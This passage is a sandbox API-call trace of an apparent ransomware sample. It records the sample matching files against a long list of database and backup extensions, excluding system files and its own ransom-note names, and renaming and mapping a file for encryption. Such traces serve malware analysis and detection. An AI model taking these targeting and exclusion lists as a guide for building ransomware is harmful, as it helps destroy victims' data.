	[0054.486] lstrlenW (lpString="itw") returned 3
	[0054.486] lstrcmpiW (lpString1="EC9", lpString2="itw") returned -1
	[0054.486] lstrlenW (lpString="jet") returned 3
	[0054.487] lstrcmpiW (lpString1="EC9", lpString2="jet") returned -1
	[0054.487] lstrlenW (lpString="jtx") returned 3
	[0054.487] lstrcmpiW (lpString1="EC9", lpString2="jtx") returned -1
	[0054.487] lstrlenW (lpString="kdb") returned 3
	[0054.487] lstrcmpiW (lpString1="EC9", lpString2="kdb") returned -1
	[0054.487] lstrlenW (lpString="kexi") returned 4
	[0054.487] lstrcmpiW (lpString1="5EC9", lpString2="kexi") returned -1
	[0054.487] lstrlenW (lpString="kexic") returned 5
	[0054.487] lstrcmpiW (lpString1="75EC9", lpString2="kexic") returned -1
	[0054.487] lstrlenW (lpString="kexis") returned 5
	[0054.487] lstrcmpiW (lpString1="75EC9", lpString2="kexis") returned -1
	[0054.487] lstrlenW (lpString="lgc") returned 3
	[0054.487] lstrcmpiW (lpString1="EC9", lpString2="lgc") returned -1
	[0054.487] lstrlenW (lpString="lwx") returned 3
	[0054.487] lstrcmpiW (lpString1="EC9", lpString2="lwx") returned -1
	[0054.487] lstrlenW (lpString="maf") returned 3
	[0054.487] lstrcmpiW (lpString1="EC9", lpString2="maf") returned -1
	[0054.487] lstrlenW (lpString="maq") returned 3
	[0054.487] lstrcmpiW (lpString1="EC9", lpString2="maq") returned -1
	[0054.487] lstrlenW (lpString="mar") returned 3
	[0054.487] lstrcmpiW (lpString1="EC9", lpString2="mar") returned -1
	[0054.487] lstrlenW (lpString="marshal") returned 7
	[0054.487] lstrcmpiW (lpString1="F575EC9", lpString2="marshal") returned -1
	[0054.487] lstrlenW (lpString="mas") returned 3
	[0054.487] lstrcmpiW (lpString1="EC9", lpString2="mas") returned -1
	[0054.487] lstrlenW (lpString="mav") returned 3
	[0054.487] lstrcmpiW (lpString1="EC9", lpString2="mav") returned -1
	[0054.487] lstrlenW (lpString="maw") returned 3
	[0054.487] lstrcmpiW (lpString1="EC9", lpString2="maw") returned -1
	[0054.487] lstrlenW (lpString="mdbhtml") returned 7
	[0054.487] lstrcmpiW (lpString1="F575EC9", lpString2="mdbhtml") returned -1
	[0054.487] lstrlenW (lpString="mdn") returned 3
	[0054.487] lstrcmpiW (lpString1="EC9", lpString2="mdn") returned -1
	[0054.487] lstrlenW (lpString="mdt") returned 3
	[0054.487] lstrcmpiW (lpString1="EC9", lpString2="mdt") returned -1
	[0054.488] lstrlenW (lpString="mfd") returned 3
	[0054.488] lstrcmpiW (lpString1="EC9", lpString2="mfd") returned -1
	[0054.488] lstrlenW (lpString="mpd") returned 3
	[0054.488] lstrcmpiW (lpString1="EC9", lpString2="mpd") returned -1
	[0054.488] lstrlenW (lpString="mrg") returned 3
	[0054.488] lstrcmpiW (lpString1="EC9", lpString2="mrg") returned -1
	[0054.488] lstrlenW (lpString="mud") returned 3
	[0054.488] lstrcmpiW (lpString1="EC9", lpString2="mud") returned -1
	[0054.488] lstrlenW (lpString="mwb") returned 3
	[0054.488] lstrcmpiW (lpString1="EC9", lpString2="mwb") returned -1
	[0054.488] lstrlenW (lpString="myd") returned 3
	[0054.488] lstrcmpiW (lpString1="EC9", lpString2="myd") returned -1
	[0054.488] lstrlenW (lpString="ndf") returned 3
	[0054.488] lstrcmpiW (lpString1="EC9", lpString2="ndf") returned -1
	[0054.488] lstrlenW (lpString="nnt") returned 3
	[0054.488] lstrcmpiW (lpString1="EC9", lpString2="nnt") returned -1
	[0054.488] lstrlenW (lpString="nrmlib") returned 6
	[0054.488] lstrcmpiW (lpString1="575EC9", lpString2="nrmlib") returned -1
	[0054.488] lstrlenW (lpString="ns2") returned 3
	[0054.488] lstrcmpiW (lpString1="EC9", lpString2="ns2") returned -1
	[0054.488] lstrlenW (lpString="ns3") returned 3
	[0054.488] lstrcmpiW (lpString1="EC9", lpString2="ns3") returned -1
	[0054.488] lstrlenW (lpString="ns4") returned 3
	[0054.488] lstrcmpiW (lpString1="EC9", lpString2="ns4") returned -1
	[0054.488] lstrlenW (lpString="nsf") returned 3
	[0054.488] lstrcmpiW (lpString1="EC9", lpString2="nsf") returned -1
	[0054.488] lstrlenW (lpString="nv") returned 2
	[0054.488] lstrcmpiW (lpString1="C9", lpString2="nv") returned -1
	[0054.488] lstrlenW (lpString="nv2") returned 3
	[0054.488] lstrcmpiW (lpString1="EC9", lpString2="nv2") returned -1
	[0054.488] lstrlenW (lpString="nwdb") returned 4
	[0054.488] lstrcmpiW (lpString1="5EC9", lpString2="nwdb") returned -1
	[0054.488] lstrlenW (lpString="nyf") returned 3
	[0054.488] lstrcmpiW (lpString1="EC9", lpString2="nyf") returned -1
	[0054.488] lstrlenW (lpString="odb") returned 3
	[0054.489] lstrcmpiW (lpString1="EC9", lpString2="odb") returned -1
	[0054.489] lstrlenW (lpString="odb") returned 3
	[0054.489] lstrcmpiW (lpString1="EC9", lpString2="odb") returned -1
	[0054.489] lstrlenW (lpString="oqy") returned 3
	[0054.489] lstrcmpiW (lpString1="EC9", lpString2="oqy") returned -1
	[0054.489] lstrlenW (lpString="ora") returned 3
	[0054.489] lstrcmpiW (lpString1="EC9", lpString2="ora") returned -1
	[0054.489] lstrlenW (lpString="orx") returned 3
	[0054.489] lstrcmpiW (lpString1="EC9", lpString2="orx") returned -1
	[0054.489] lstrlenW (lpString="owc") returned 3
	[0054.489] lstrcmpiW (lpString1="EC9", lpString2="owc") returned -1
	[0054.489] lstrlenW (lpString="p96") returned 3
	[0054.489] lstrcmpiW (lpString1="EC9", lpString2="p96") returned -1
	[0054.489] lstrlenW (lpString="p97") returned 3
	[0054.489] lstrcmpiW (lpString1="EC9", lpString2="p97") returned -1
	[0054.489] lstrlenW (lpString="pan") returned 3
	[0054.489] lstrcmpiW (lpString1="EC9", lpString2="pan") returned -1
	[0054.489] lstrlenW (lpString="pdb") returned 3
	[0054.489] lstrcmpiW (lpString1="EC9", lpString2="pdb") returned -1
	[0054.489] lstrlenW (lpString="pdm") returned 3
	[0054.489] lstrcmpiW (lpString1="EC9", lpString2="pdm") returned -1
	[0054.489] lstrlenW (lpString="pnz") returned 3
	[0054.489] lstrcmpiW (lpString1="EC9", lpString2="pnz") returned -1
	[0054.489] lstrlenW (lpString="qry") returned 3
	[0054.489] lstrcmpiW (lpString1="EC9", lpString2="qry") returned -1
	[0054.489] lstrlenW (lpString="qvd") returned 3
	[0054.489] lstrcmpiW (lpString1="EC9", lpString2="qvd") returned -1
	[0054.489] lstrlenW (lpString="rbf") returned 3
	[0054.489] lstrcmpiW (lpString1="EC9", lpString2="rbf") returned -1
	[0054.489] lstrlenW (lpString="rctd") returned 4
	[0054.489] lstrcmpiW (lpString1="5EC9", lpString2="rctd") returned -1
	[0054.489] lstrlenW (lpString="rod") returned 3
	[0054.489] lstrcmpiW (lpString1="EC9", lpString2="rod") returned -1
	[0054.489] lstrlenW (lpString="rodx") returned 4
	[0054.490] lstrcmpiW (lpString1="5EC9", lpString2="rodx") returned -1
	[0054.490] lstrlenW (lpString="rpd") returned 3
	[0054.490] lstrcmpiW (lpString1="EC9", lpString2="rpd") returned -1
	[0054.490] lstrlenW (lpString="rsd") returned 3
	[0054.490] lstrcmpiW (lpString1="EC9", lpString2="rsd") returned -1
	[0054.490] lstrlenW (lpString="sas7bdat") returned 8
	[0054.490] lstrcmpiW (lpString1="5F575EC9", lpString2="sas7bdat") returned -1
	[0054.490] lstrlenW (lpString="sbf") returned 3
	[0054.490] lstrcmpiW (lpString1="EC9", lpString2="sbf") returned -1
	[0054.490] lstrlenW (lpString="scx") returned 3
	[0054.490] lstrcmpiW (lpString1="EC9", lpString2="scx") returned -1
	[0054.490] lstrlenW (lpString="sdb") returned 3
	[0054.490] lstrcmpiW (lpString1="EC9", lpString2="sdb") returned -1
	[0054.490] lstrlenW (lpString="sdc") returned 3
	[0054.490] lstrcmpiW (lpString1="EC9", lpString2="sdc") returned -1
	[0054.490] lstrlenW (lpString="sdf") returned 3
	[0054.490] lstrcmpiW (lpString1="EC9", lpString2="sdf") returned -1
	[0054.490] lstrlenW (lpString="sis") returned 3
	[0054.490] lstrcmpiW (lpString1="EC9", lpString2="sis") returned -1
	[0054.490] lstrlenW (lpString="spq") returned 3
	[0054.490] lstrcmpiW (lpString1="EC9", lpString2="spq") returned -1
	[0054.490] lstrlenW (lpString="te") returned 2
	[0054.490] lstrcmpiW (lpString1="C9", lpString2="te") returned -1
	[0054.490] lstrlenW (lpString="teacher") returned 7
	[0054.490] lstrcmpiW (lpString1="F575EC9", lpString2="teacher") returned -1
	[0054.490] lstrlenW (lpString="tmd") returned 3
	[0054.490] lstrcmpiW (lpString1="EC9", lpString2="tmd") returned -1
	[0054.490] lstrlenW (lpString="tps") returned 3
	[0054.490] lstrcmpiW (lpString1="EC9", lpString2="tps") returned -1
	[0054.490] lstrlenW (lpString="trc") returned 3
	[0054.490] lstrcmpiW (lpString1="EC9", lpString2="trc") returned -1
	[0054.491] lstrlenW (lpString="trc") returned 3
	[0054.491] lstrcmpiW (lpString1="EC9", lpString2="trc") returned -1
	[0054.491] lstrlenW (lpString="trm") returned 3
	[0054.491] lstrcmpiW (lpString1="EC9", lpString2="trm") returned -1
	[0054.491] lstrlenW (lpString="udb") returned 3
	[0054.491] lstrcmpiW (lpString1="EC9", lpString2="udb") returned -1
	[0054.491] lstrlenW (lpString="udl") returned 3
	[0054.491] lstrcmpiW (lpString1="EC9", lpString2="udl") returned -1
	[0054.491] lstrlenW (lpString="usr") returned 3
	[0054.491] lstrcmpiW (lpString1="EC9", lpString2="usr") returned -1
	[0054.491] lstrlenW (lpString="v12") returned 3
	[0054.491] lstrcmpiW (lpString1="EC9", lpString2="v12") returned -1
	[0054.491] lstrlenW (lpString="vis") returned 3
	[0054.491] lstrcmpiW (lpString1="EC9", lpString2="vis") returned -1
	[0054.491] lstrlenW (lpString="vpd") returned 3
	[0054.491] lstrcmpiW (lpString1="EC9", lpString2="vpd") returned -1
	[0054.491] lstrlenW (lpString="vvv") returned 3
	[0054.491] lstrcmpiW (lpString1="EC9", lpString2="vvv") returned -1
	[0054.491] lstrlenW (lpString="wdb") returned 3
	[0054.491] lstrcmpiW (lpString1="EC9", lpString2="wdb") returned -1
	[0054.491] lstrlenW (lpString="wmdb") returned 4
	[0054.496] lstrcmpiW (lpString1="5EC9", lpString2="wmdb") returned -1
	[0054.496] lstrlenW (lpString="wrk") returned 3
	[0054.496] lstrcmpiW (lpString1="EC9", lpString2="wrk") returned -1
	[0054.496] lstrlenW (lpString="xdb") returned 3
	[0054.496] lstrcmpiW (lpString1="EC9", lpString2="xdb") returned -1
	[0054.496] lstrlenW (lpString="xld") returned 3
	[0054.496] lstrcmpiW (lpString1="EC9", lpString2="xld") returned -1
	[0054.496] lstrlenW (lpString="xmlff") returned 5
	[0054.496] lstrcmpiW (lpString1="75EC9", lpString2="xmlff") returned -1
	[0054.496] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9.Apollon865") returned 113
	[0054.496] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\7b2238aaccedc3f1ffe8e7eb5f575ec9"), lpNewFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9.Apollon865" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\7b2238aaccedc3f1ffe8e7eb5f575ec9.apollon865"), dwFlags=0x1) returned 1
	[0054.498] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9.Apollon865" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\7b2238aaccedc3f1ffe8e7eb5f575ec9.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0054.498] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=260) returned 1
	[0054.498] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0054.498] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0054.498] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0054.499] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0054.500] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0054.500] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0054.500] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x410, lpName=0x0) returned 0x15c
	[0054.516] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x410) returned 0x100000
	[0054.519] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0054.519] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0054.519] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0054.519] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0054.519] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0054.519] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0054.519] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0054.520] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0054.520] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0054.520] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0054.520] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0054.520] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0054.520] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0054.520] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0054.520] CloseHandle (hObject=0x15c) returned 1
	[0054.520] CloseHandle (hObject=0x150) returned 1
	[0054.520] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0054.520] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0054.520] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0054.520] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x642afa0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x130, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="94308059B57B3142E455B38A6EB92015", cAlternateFileName="943080~1")) returned 1
	[0054.521] lstrcmpiW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0054.521] lstrcmpiW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2="Apollon865.txt.exe") returned -1
	[0054.521] lstrcmpiW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2=".") returned 1
	[0054.521] lstrcmpiW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2="..") returned 1
	[0054.521] lstrcmpiW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2="windows") returned -1
	[0054.521] lstrcmpiW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2="bootmgr") returned -1
	[0054.521] lstrcmpiW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2="temp") returned -1
	[0054.521] lstrcmpiW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2="pagefile.sys") returned -1
	[0054.521] lstrcmpiW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2="boot") returned -1
	[0054.521] lstrcmpiW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2="ids.txt") returned -1
	[0054.521] lstrcmpiW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2="ntuser.dat") returned -1
	[0054.521] lstrcmpiW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2="perflogs") returned -1
	[0054.521] lstrcmpiW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2="MSBuild") returned -1
	[0054.521] lstrlenW (lpString="94308059B57B3142E455B38A6EB92015") returned 32
	[0054.521] lstrlenW (lpString="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned 102
	[0054.521] lstrcpyW (in: lpString1=0x119e694, lpString2="94308059B57B3142E455B38A6EB92015" | out: lpString1="94308059B57B3142E455B38A6EB92015") returned="94308059B57B3142E455B38A6EB92015"
	[0054.521] lstrlenW (lpString="94308059B57B3142E455B38A6EB92015") returned 32
	[0054.521] lstrlenW (lpString="Apollon865") returned 10
	[0054.521] lstrcmpiW (lpString1="8A6EB92015", lpString2="Apollon865") returned -1
	[0054.521] lstrlenW (lpString=".dll") returned 4
	[0054.521] lstrcmpiW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2=".dll") returned 1
	[0054.521] lstrlenW (lpString=".lnk") returned 4
	[0054.521] lstrcmpiW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2=".lnk") returned 1
	[0054.521] lstrlenW (lpString=".ini") returned 4
	[0054.521] lstrcmpiW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2=".ini") returned 1
	[0054.521] lstrlenW (lpString=".sys") returned 4
	[0054.521] lstrcmpiW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2=".sys") returned 1
	[0054.521] lstrlenW (lpString="94308059B57B3142E455B38A6EB92015") returned 32
	[0054.521] lstrlenW (lpString="bak") returned 3
	[0054.521] lstrcmpiW (lpString1="015", lpString2="bak") returned -1
	[0054.521] lstrlenW (lpString="ba_") returned 3
	[0054.522] lstrcmpiW (lpString1="015", lpString2="ba_") returned -1
	[0054.522] lstrlenW (lpString="dbb") returned 3
	[0054.522] lstrcmpiW (lpString1="015", lpString2="dbb") returned -1
	[0054.522] lstrlenW (lpString="vmdk") returned 4
	[0054.522] lstrcmpiW (lpString1="2015", lpString2="vmdk") returned -1
	[0054.522] lstrlenW (lpString="rar") returned 3
	[0054.522] lstrcmpiW (lpString1="015", lpString2="rar") returned -1
	[0054.522] lstrlenW (lpString="zip") returned 3
	[0054.522] lstrcmpiW (lpString1="015", lpString2="zip") returned -1
	[0054.522] lstrlenW (lpString="tgz") returned 3
	[0054.522] lstrcmpiW (lpString1="015", lpString2="tgz") returned -1
	[0054.522] lstrlenW (lpString="vbox") returned 4
	[0054.522] lstrcmpiW (lpString1="2015", lpString2="vbox") returned -1
	[0054.522] lstrlenW (lpString="vdi") returned 3
	[0054.522] lstrcmpiW (lpString1="015", lpString2="vdi") returned -1
	[0054.522] lstrlenW (lpString="vhd") returned 3
	[0054.522] lstrcmpiW (lpString1="015", lpString2="vhd") returned -1
	[0054.522] lstrlenW (lpString="vhdx") returned 4
	[0054.522] lstrcmpiW (lpString1="2015", lpString2="vhdx") returned -1
	[0054.522] lstrlenW (lpString="avhd") returned 4
	[0054.522] lstrcmpiW (lpString1="2015", lpString2="avhd") returned -1
	[0054.522] lstrlenW (lpString="db") returned 2
	[0054.522] lstrcmpiW (lpString1="15", lpString2="db") returned -1
	[0054.522] lstrlenW (lpString="db2") returned 3
	[0054.522] lstrcmpiW (lpString1="015", lpString2="db2") returned -1
	[0054.522] lstrlenW (lpString="db3") returned 3
	[0054.522] lstrcmpiW (lpString1="015", lpString2="db3") returned -1
	[0054.522] lstrlenW (lpString="dbf") returned 3
	[0054.522] lstrcmpiW (lpString1="015", lpString2="dbf") returned -1
	[0054.522] lstrlenW (lpString="mdf") returned 3
	[0054.522] lstrcmpiW (lpString1="015", lpString2="mdf") returned -1
	[0054.527] lstrlenW (lpString="mdb") returned 3
	[0054.527] lstrcmpiW (lpString1="015", lpString2="mdb") returned -1
	[0054.527] lstrlenW (lpString="sql") returned 3
	[0054.527] lstrcmpiW (lpString1="015", lpString2="sql") returned -1
	[0054.527] lstrlenW (lpString="sqlite") returned 6
	[0054.527] lstrcmpiW (lpString1="B92015", lpString2="sqlite") returned -1
	[0054.527] lstrlenW (lpString="sqlite3") returned 7
	[0054.527] lstrcmpiW (lpString1="EB92015", lpString2="sqlite3") returned -1
	[0054.527] lstrlenW (lpString="sqlitedb") returned 8
	[0054.527] lstrcmpiW (lpString1="6EB92015", lpString2="sqlitedb") returned -1
	[0054.527] lstrlenW (lpString="xml") returned 3
	[0054.527] lstrcmpiW (lpString1="015", lpString2="xml") returned -1
	[0054.527] lstrlenW (lpString="$er") returned 3
	[0054.527] lstrcmpiW (lpString1="015", lpString2="$er") returned 1
	[0054.527] lstrlenW (lpString="4dd") returned 3
	[0054.527] lstrcmpiW (lpString1="015", lpString2="4dd") returned -1
	[0054.527] lstrlenW (lpString="4dl") returned 3
	[0054.527] lstrcmpiW (lpString1="015", lpString2="4dl") returned -1
	[0054.527] lstrlenW (lpString="^^^") returned 3
	[0054.527] lstrcmpiW (lpString1="015", lpString2="^^^") returned 1
	[0054.527] lstrlenW (lpString="abs") returned 3
	[0054.528] lstrcmpiW (lpString1="015", lpString2="abs") returned -1
	[0054.528] lstrlenW (lpString="abx") returned 3
	[0054.528] lstrcmpiW (lpString1="015", lpString2="abx") returned -1
	[0054.528] lstrlenW (lpString="accdb") returned 5
	[0054.528] lstrcmpiW (lpString1="92015", lpString2="accdb") returned -1
	[0054.528] lstrlenW (lpString="accdc") returned 5
	[0054.528] lstrcmpiW (lpString1="92015", lpString2="accdc") returned -1
	[0054.528] lstrlenW (lpString="accde") returned 5
	[0054.528] lstrcmpiW (lpString1="92015", lpString2="accde") returned -1
	[0054.528] lstrlenW (lpString="accdr") returned 5
	[0054.528] lstrcmpiW (lpString1="92015", lpString2="accdr") returned -1
	[0054.528] lstrlenW (lpString="accdt") returned 5
	[0054.528] lstrcmpiW (lpString1="92015", lpString2="accdt") returned -1
	[0054.528] lstrlenW (lpString="accdw") returned 5
	[0054.528] lstrcmpiW (lpString1="92015", lpString2="accdw") returned -1
	[0054.528] lstrlenW (lpString="accft") returned 5
	[0054.528] lstrcmpiW (lpString1="92015", lpString2="accft") returned -1
	[0054.528] lstrlenW (lpString="adb") returned 3
	[0054.528] lstrcmpiW (lpString1="015", lpString2="adb") returned -1
	[0054.528] lstrlenW (lpString="adb") returned 3
	[0054.528] lstrcmpiW (lpString1="015", lpString2="adb") returned -1
	[0054.528] lstrlenW (lpString="ade") returned 3
	[0054.528] lstrcmpiW (lpString1="015", lpString2="ade") returned -1
	[0054.528] lstrlenW (lpString="adf") returned 3
	[0054.528] lstrcmpiW (lpString1="015", lpString2="adf") returned -1
	[0054.528] lstrlenW (lpString="adn") returned 3
	[0054.528] lstrcmpiW (lpString1="015", lpString2="adn") returned -1
	[0054.528] lstrlenW (lpString="adp") returned 3
	[0054.528] lstrcmpiW (lpString1="015", lpString2="adp") returned -1
	[0054.528] lstrlenW (lpString="alf") returned 3
	[0054.528] lstrcmpiW (lpString1="015", lpString2="alf") returned -1
	[0054.528] lstrlenW (lpString="ask") returned 3
	[0054.528] lstrcmpiW (lpString1="015", lpString2="ask") returned -1
	[0054.528] lstrlenW (lpString="btr") returned 3
	[0054.529] lstrcmpiW (lpString1="015", lpString2="btr") returned -1
	[0054.529] lstrlenW (lpString="cat") returned 3
	[0054.529] lstrcmpiW (lpString1="015", lpString2="cat") returned -1
	[0054.529] lstrlenW (lpString="cdb") returned 3
	[0054.529] lstrcmpiW (lpString1="015", lpString2="cdb") returned -1
	[0054.529] lstrlenW (lpString="ckp") returned 3
	[0054.529] lstrcmpiW (lpString1="015", lpString2="ckp") returned -1
	[0054.529] lstrlenW (lpString="cma") returned 3
	[0054.529] lstrcmpiW (lpString1="015", lpString2="cma") returned -1
	[0054.529] lstrlenW (lpString="cpd") returned 3
	[0054.529] lstrcmpiW (lpString1="015", lpString2="cpd") returned -1
	[0054.529] lstrlenW (lpString="dacpac") returned 6
	[0054.529] lstrcmpiW (lpString1="B92015", lpString2="dacpac") returned -1
	[0054.529] lstrlenW (lpString="dad") returned 3
	[0054.529] lstrcmpiW (lpString1="015", lpString2="dad") returned -1
	[0054.529] lstrlenW (lpString="dadiagrams") returned 10
	[0054.529] lstrcmpiW (lpString1="8A6EB92015", lpString2="dadiagrams") returned -1
	[0054.529] lstrlenW (lpString="daschema") returned 8
	[0054.529] lstrcmpiW (lpString1="6EB92015", lpString2="daschema") returned -1
	[0054.529] lstrlenW (lpString="db-journal") returned 10
	[0054.529] lstrcmpiW (lpString1="8A6EB92015", lpString2="db-journal") returned -1
	[0054.529] lstrlenW (lpString="db-shm") returned 6
	[0054.529] lstrcmpiW (lpString1="B92015", lpString2="db-shm") returned -1
	[0054.529] lstrlenW (lpString="db-wal") returned 6
	[0054.529] lstrcmpiW (lpString1="B92015", lpString2="db-wal") returned -1
	[0054.529] lstrlenW (lpString="dbc") returned 3
	[0054.529] lstrcmpiW (lpString1="015", lpString2="dbc") returned -1
	[0054.529] lstrlenW (lpString="dbs") returned 3
	[0054.529] lstrcmpiW (lpString1="015", lpString2="dbs") returned -1
	[0054.529] lstrlenW (lpString="dbt") returned 3
	[0054.529] lstrcmpiW (lpString1="015", lpString2="dbt") returned -1
	[0054.529] lstrlenW (lpString="dbv") returned 3
	[0054.530] lstrcmpiW (lpString1="015", lpString2="dbv") returned -1
	[0054.530] lstrlenW (lpString="dbx") returned 3
	[0054.530] lstrcmpiW (lpString1="015", lpString2="dbx") returned -1
	[0054.530] lstrlenW (lpString="dcb") returned 3
	[0054.530] lstrcmpiW (lpString1="015", lpString2="dcb") returned -1
	[0054.530] lstrlenW (lpString="dct") returned 3
	[0054.530] lstrcmpiW (lpString1="015", lpString2="dct") returned -1
	[0054.530] lstrlenW (lpString="dcx") returned 3
	[0054.530] lstrcmpiW (lpString1="015", lpString2="dcx") returned -1
	[0054.530] lstrlenW (lpString="ddl") returned 3
	[0054.530] lstrcmpiW (lpString1="015", lpString2="ddl") returned -1
	[0054.530] lstrlenW (lpString="dlis") returned 4
	[0054.530] lstrcmpiW (lpString1="2015", lpString2="dlis") returned -1
	[0054.530] lstrlenW (lpString="dp1") returned 3
	[0054.530] lstrcmpiW (lpString1="015", lpString2="dp1") returned -1
	[0054.530] lstrlenW (lpString="dqy") returned 3
	[0054.530] lstrcmpiW (lpString1="015", lpString2="dqy") returned -1
	[0054.530] lstrlenW (lpString="dsk") returned 3
	[0054.530] lstrcmpiW (lpString1="015", lpString2="dsk") returned -1
	[0054.530] lstrlenW (lpString="dsn") returned 3
	[0054.530] lstrcmpiW (lpString1="015", lpString2="dsn") returned -1
	[0054.530] lstrlenW (lpString="dtsx") returned 4
	[0054.530] lstrcmpiW (lpString1="2015", lpString2="dtsx") returned -1
	[0054.530] lstrlenW (lpString="dxl") returned 3
	[0054.530] lstrcmpiW (lpString1="015", lpString2="dxl") returned -1
	[0054.530] lstrlenW (lpString="eco") returned 3
	[0054.530] lstrcmpiW (lpString1="015", lpString2="eco") returned -1
	[0054.530] lstrlenW (lpString="ecx") returned 3
	[0054.530] lstrcmpiW (lpString1="015", lpString2="ecx") returned -1
	[0054.530] lstrlenW (lpString="edb") returned 3
	[0054.530] lstrcmpiW (lpString1="015", lpString2="edb") returned -1
	[0054.530] lstrlenW (lpString="epim") returned 4
	[0054.530] lstrcmpiW (lpString1="2015", lpString2="epim") returned -1
	[0054.531] lstrlenW (lpString="fcd") returned 3
	[0054.531] lstrcmpiW (lpString1="015", lpString2="fcd") returned -1
	[0054.531] lstrlenW (lpString="fdb") returned 3
	[0054.531] lstrcmpiW (lpString1="015", lpString2="fdb") returned -1
	[0054.531] lstrlenW (lpString="fic") returned 3
	[0054.531] lstrcmpiW (lpString1="015", lpString2="fic") returned -1
	[0054.531] lstrlenW (lpString="flexolibrary") returned 12
